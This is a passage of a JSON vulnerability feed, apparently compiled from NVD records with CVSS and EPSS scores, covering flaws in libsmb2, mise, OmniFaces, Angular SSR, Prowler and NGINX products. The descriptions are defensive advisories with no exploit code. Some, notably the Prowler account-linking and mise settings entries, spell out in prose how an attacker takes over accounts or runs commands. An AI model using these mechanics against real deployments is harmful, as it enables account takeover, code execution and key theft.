fixes.","publishedAt":"2026-10-14T16:17:43.473Z","updatedAt":"2026-10-20T02:17:10.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110714","asOf":"2026-10-20T02:17:10.497Z"},"epss":{"probability":0.00538,"percentile":0.45008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110714&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110714","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110714","type":"primary","publishedAt":"2026-10-14T16:17:43.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110714&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110714, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110713","cveId":"CVE-2026-110713","aliases":[],"kind":"vulnerability","title":"libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_fs_volume_info and smb2_decode_file_fs_attribute_info that allows malicious SMB servers to...","summary":"libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_fs_volume_info and smb2_decode_file_fs_attribute_info that allows malicious SMB servers to read past reply buffers. Attackers controlling a server or intercepting unsigned sessions can send crafted QUERY_INFO replies with missing or oversized name lengths to crash the client.","detail":"libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_fs_volume_info and smb2_decode_file_fs_attribute_info that allows malicious SMB servers to read past reply buffers. Attackers controlling a server or intercepting unsigned sessions can send crafted QUERY_INFO replies with missing or oversized name lengths to crash the client.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:43.337Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110713","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00461,"percentile":0.39678,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110713&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110713","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110713","type":"primary","publishedAt":"2026-10-14T16:17:43.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110713&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110713, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110712","cveId":"CVE-2026-110712","aliases":[],"kind":"vulnerability","title":"libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_all_info that allows malicious SMB servers to crash clients by sending an unchecked...","summary":"libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_all_info that allows malicious SMB servers to crash clients by sending an unchecked FileNameLength. Attackers controlling the server or performing man-in-the-middle on unsigned sessions can return crafted FileAllInformation replies to smb2_stat or smb2_fstat calls, crashing the client.","detail":"libsmb2 through 6.2 contains a heap out-of-bounds read vulnerability in smb2_decode_file_all_info that allows malicious SMB servers to crash clients by sending an unchecked FileNameLength. Attackers controlling the server or performing man-in-the-middle on unsigned sessions can return crafted FileAllInformation replies to smb2_stat or smb2_fstat calls, crashing the client.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:43.193Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110712","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00441,"percentile":0.38086,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110712","type":"primary","publishedAt":"2026-10-14T16:17:43.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103929","cveId":"CVE-2026-103929","aliases":[],"kind":"vulnerability","title":"mise manages dev tools like node, python, cmake, and terraform.","summary":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.7.14, in the default non-safe mode, mise loads .mise.toml [settings] from an untrusted local project before trust approval and strip_local_only_settings removes only fields marked global_only. The unix_default_file_shell_args, unix_default_inline_shell_args, windows_default_file_shell_args, and windows_default_inline_shell_args settings were not marked global_only, allowing a repository to replace the default interpreter arguments used by trusted tasks that have no explicit shell, postinstall directives, template exec operations, or hooks that fall back to the default shell. When mise appends the trusted command after the attacker-controlled interpreter arguments, the attacker-selected command can execute first with the developer account's privileges even though the local configuration was never trusted. The separate path-sanitization hardening note in the advisory is outside this vulnerability. This issue is fixed in version 2026.7.14.","detail":"mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.7.14, in the default non-safe mode, mise loads .mise.toml [settings] from an untrusted local project before trust approval and strip_local_only_settings removes only fields marked global_only. The unix_default_file_shell_args, unix_default_inline_shell_args, windows_default_file_shell_args, and windows_default_inline_shell_args settings were not marked global_only, allowing a repository to replace the default interpreter arguments used by trusted tasks that have no explicit shell, postinstall directives, template exec operations, or hooks that fall back to the default shell. When mise appends the trusted command after the attacker-controlled interpreter arguments, the attacker-selected command can execute first with the developer account's privileges even though the local configuration was never trusted. The separate path-sanitization hardening note in the advisory is outside this vulnerability. This issue is fixed in version 2026.7.14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:30.577Z","updatedAt":"2026-10-15T19:17:14.320Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103929","asOf":"2026-10-15T19:17:14.320Z"},"epss":{"probability":0.00257,"percentile":0.17142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103929&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103929","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103929","type":"primary","publishedAt":"2026-10-14T16:17:30.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103929&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103929, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102695","cveId":"CVE-2026-102695","aliases":[],"kind":"vulnerability","title":"OmniFaces is a utility library for Faces.","summary":"OmniFaces is a utility library for Faces. In OmniFaces versions before 1.14.3, 2.7.33, 3.14.23, 4.7.12, and 5.4.2, CombinedResourceHandler accepts a structurally valid deflated and base64 encoded combined resource ID without verifying that the server issued it. A forged ID can cause unbounded decoded output, add unique reconstructed IDs to a process-lifetime cache, or combine resources other than stylesheets and scripts. Because jakarta.faces.RESOURCE_EXCLUDES is not applied by this custom resolution path, a forged ID can disclose Facelets source from the webapp resource tree or META-INF/resources. In a deployment configured with the wildcard CDN mapping, a forged ID that selects omnifaces.graphic can also cause a blind, deployment-dependent server-side fetch whose destination derives partly from the request Host header. The flaw does not provide arbitrary file read or establish arbitrary-scheme or arbitrary-destination SSRF. The shared authenticity failure permits memory exhaustion and limited resource disclosure. This issue is fixed in versions 1.14.3, 2.7.33, 3.14.23, 4.7.12, and 5.4.2.","detail":"OmniFaces is a utility library for Faces. In OmniFaces versions before 1.14.3, 2.7.33, 3.14.23, 4.7.12, and 5.4.2, CombinedResourceHandler accepts a structurally valid deflated and base64 encoded combined resource ID without verifying that the server issued it. A forged ID can cause unbounded decoded output, add unique reconstructed IDs to a process-lifetime cache, or combine resources other than stylesheets and scripts. Because jakarta.faces.RESOURCE_EXCLUDES is not applied by this custom resolution path, a forged ID can disclose Facelets source from the webapp resource tree or META-INF/resources. In a deployment configured with the wildcard CDN mapping, a forged ID that selects omnifaces.graphic can also cause a blind, deployment-dependent server-side fetch whose destination derives partly from the request Host header. The flaw does not provide arbitrary file read or establish arbitrary-scheme or arbitrary-destination SSRF. The shared authenticity failure permits memory exhaustion and limited resource disclosure. This issue is fixed in versions 1.14.3, 2.7.33, 3.14.23, 4.7.12, and 5.4.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:29.840Z","updatedAt":"2026-10-20T02:17:08.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102695","asOf":"2026-10-20T02:17:08.290Z"},"epss":{"probability":0.00306,"percentile":0.2313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102695","type":"primary","publishedAt":"2026-10-14T16:17:29.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101896","cveId":"CVE-2026-101896","aliases":[],"kind":"vulnerability","title":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages.","summary":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.32, 21.2.24, and 22.2.0, the @angular/router URL parser stores numeric matrix parameter names and numeric outlet names as properties on initially empty JavaScript objects during Node.js server-side rendering. V8 can interpret these URL-derived keys as array indices and allocate dense backing stores sized to high numeric values, so repeated small path segments cause disproportionate per-segment heap consumption. An unauthenticated attacker can send overlapping requests containing repeated numeric matrix parameters when SSR is enabled, the router directly parses the request URL, and upstream proxies allow semicolons and multiple path segments, eventually exhausting the Node.js old-space heap and terminating the SSR worker. Pure client-side Angular applications are not affected. This issue is fixed in versions 20.3.32, 21.2.24, and 22.2.0.","detail":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.32, 21.2.24, and 22.2.0, the @angular/router URL parser stores numeric matrix parameter names and numeric outlet names as properties on initially empty JavaScript objects during Node.js server-side rendering. V8 can interpret these URL-derived keys as array indices and allocate dense backing stores sized to high numeric values, so repeated small path segments cause disproportionate per-segment heap consumption. An unauthenticated attacker can send overlapping requests containing repeated numeric matrix parameters when SSR is enabled, the router directly parses the request URL, and upstream proxies allow semicolons and multiple path segments, eventually exhausting the Node.js old-space heap and terminating the SSR worker. Pure client-side Angular applications are not affected. This issue is fixed in versions 20.3.32, 21.2.24, and 22.2.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:29.013Z","updatedAt":"2026-10-20T02:17:08.003Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101896","asOf":"2026-10-20T02:17:08.003Z"},"epss":{"probability":0.00756,"percentile":0.54862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101896&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101896","type":"primary","publishedAt":"2026-10-14T16:17:29.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101896&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101896, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100169","cveId":"CVE-2026-100169","aliases":[],"kind":"vulnerability","title":"Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent...","summary":"Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent access to the account of a user who has not yet registered, because ProwlerSocialAccountAdapter.pre_social_login() in api/src/backend/api/adapters.py links a Google or GitHub login to any existing local account that has the same email address as the one returned by the provider, without requiring that the address has been verified by the provider or on the existing account, and without any other check that both accounts belong to the same person. Self registration is open and the new account is usable at once, because UserViewSet.get_permissions() in api/src/backend/api/v1/views.py grants AllowAny to the create action, ACCOUNT_EMAIL_VERIFICATION is set to none in api/src/backend/config/settings/social_login.py, and the Django ModelBackend checks only the password and is_active, not the django-allauth EmailAddress record. An attacker who registers an email address before its owner keeps the password set at registration after the link is made, because sociallogin.connect() does not reset the password and does not disable the existing account, and the owner who later signs in with Google or GitHub is logged into the attacker's account. django-allauth makes the same email based link on its own, because SOCIALACCOUNT_EMAIL_AUTHENTICATION and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT are both set to True in the same settings module. This gives the attacker the cloud provider credentials, scan findings and tenant memberships held in the account.","detail":"Improper Authentication in the social account linking path of the Prowler API in Prowler from 5.4.0 before 5.35.0 allows a remote unauthenticated attacker to obtain persistent access to the account of a user who has not yet registered, because ProwlerSocialAccountAdapter.pre_social_login() in api/src/backend/api/adapters.py links a Google or GitHub login to any existing local account that has the same email address as the one returned by the provider, without requiring that the address has been verified by the provider or on the existing account, and without any other check that both accounts belong to the same person. Self registration is open and the new account is usable at once, because UserViewSet.get_permissions() in api/src/backend/api/v1/views.py grants AllowAny to the create action, ACCOUNT_EMAIL_VERIFICATION is set to none in api/src/backend/config/settings/social_login.py, and the Django ModelBackend checks only the password and is_active, not the django-allauth EmailAddress record. An attacker who registers an email address before its owner keeps the password set at registration after the link is made, because sociallogin.connect() does not reset the password and does not disable the existing account, and the owner who later signs in with Google or GitHub is logged into the attacker's account. django-allauth makes the same email based link on its own, because SOCIALACCOUNT_EMAIL_AUTHENTICATION and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT are both set to True in the same settings module. This gives the attacker the cloud provider credentials, scan findings and tenant memberships held in the account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T16:17:28.350Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100169","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00851,"percentile":0.57943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100169","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100169","type":"primary","publishedAt":"2026-10-14T16:17:28.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97629","cveId":"CVE-2026-97629","aliases":[],"kind":"vulnerability","title":"Description\nWhen NGINX Plus or NGINX Open Source is configured with ssl_session_cache \n\nshared:name:size\n\nwithout an explicit ssl_session_ticket_key file directives to...","summary":"Description\nWhen NGINX Plus or NGINX Open Source is configured with ssl_session_cache \n\nshared:name:size\n\nwithout an explicit ssl_session_ticket_key file directives to automatically rotate SSL session ticket keys, a remote unauthenticated attacker is able to forge client SSL sessions \n\nin a non-deterministic manner that is beyond the attacker's control. An attacker could leverage this vulnerability to bypass verification of client certificates.\n\nImpact\n\n\nThis vulnerability can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with access to sensitive information. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"Description\nWhen NGINX Plus or NGINX Open Source is configured with ssl_session_cache \n\nshared:name:size\n\nwithout an explicit ssl_session_ticket_key file directives to automatically rotate SSL session ticket keys, a remote unauthenticated attacker is able to forge client SSL sessions \n\nin a non-deterministic manner that is beyond the attacker's control. An attacker could leverage this vulnerability to bypass verification of client certificates.\n\nImpact\n\n\nThis vulnerability can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with access to sensitive information. There is no control plane exposure; this is a data plane issue only.\n\n\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:28.600Z","updatedAt":"2026-10-15T17:17:33.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97629","asOf":"2026-10-15T17:17:33.410Z"},"epss":{"probability":0.0023,"percentile":0.13712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97629&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97629","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97629","type":"primary","publishedAt":"2026-10-14T15:17:28.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97629&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97629, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96615","cveId":"CVE-2026-96615","aliases":[],"kind":"vulnerability","title":"Description\nNGINX Gateway Fabric has a vulnerability when it is configured with Gateway \n\nCustom Resource Definition (CRD) and have an authenticated gRPC connection with NGINX...","summary":"Description\nNGINX Gateway Fabric has a vulnerability when it is configured with Gateway \n\nCustom Resource Definition (CRD) and have an authenticated gRPC connection with NGINX Agent. A namespaced \n\n authenticated attacker with access to a service account may impersonate the authenticated NGINX Agent gRPC connection to read TLS private keys of Gateway deployments in another namespace. \n\nImpact\nA remote authenticated attacker may be able to read TLS private keys of Gateway deployments in another namespace. \n\nThere is no data plane exposure; this is a control plane issue only.\n\n\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"Description\nNGINX Gateway Fabric has a vulnerability when it is configured with Gateway \n\nCustom Resource Definition (CRD) and have an authenticated gRPC connection with NGINX Agent. A namespaced \n\n authenticated attacker with access to a service account may impersonate the authenticated NGINX Agent gRPC connection to read TLS private keys of Gateway deployments in another namespace. \n\nImpact\nA remote authenticated attacker may be able to read TLS private keys of Gateway deployments in another namespace. \n\nThere is no data plane exposure; this is a control plane issue only.\n\n\n\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:28.033Z","updatedAt":"2026-10-15T17:17:33.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Nginx"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96615","asOf":"2026-10-15T17:17:33.007Z"},"epss":{"probability":0.00256,"percentile":0.16989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96615","type":"primary","publishedAt":"2026-10-14T15:17:28.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of 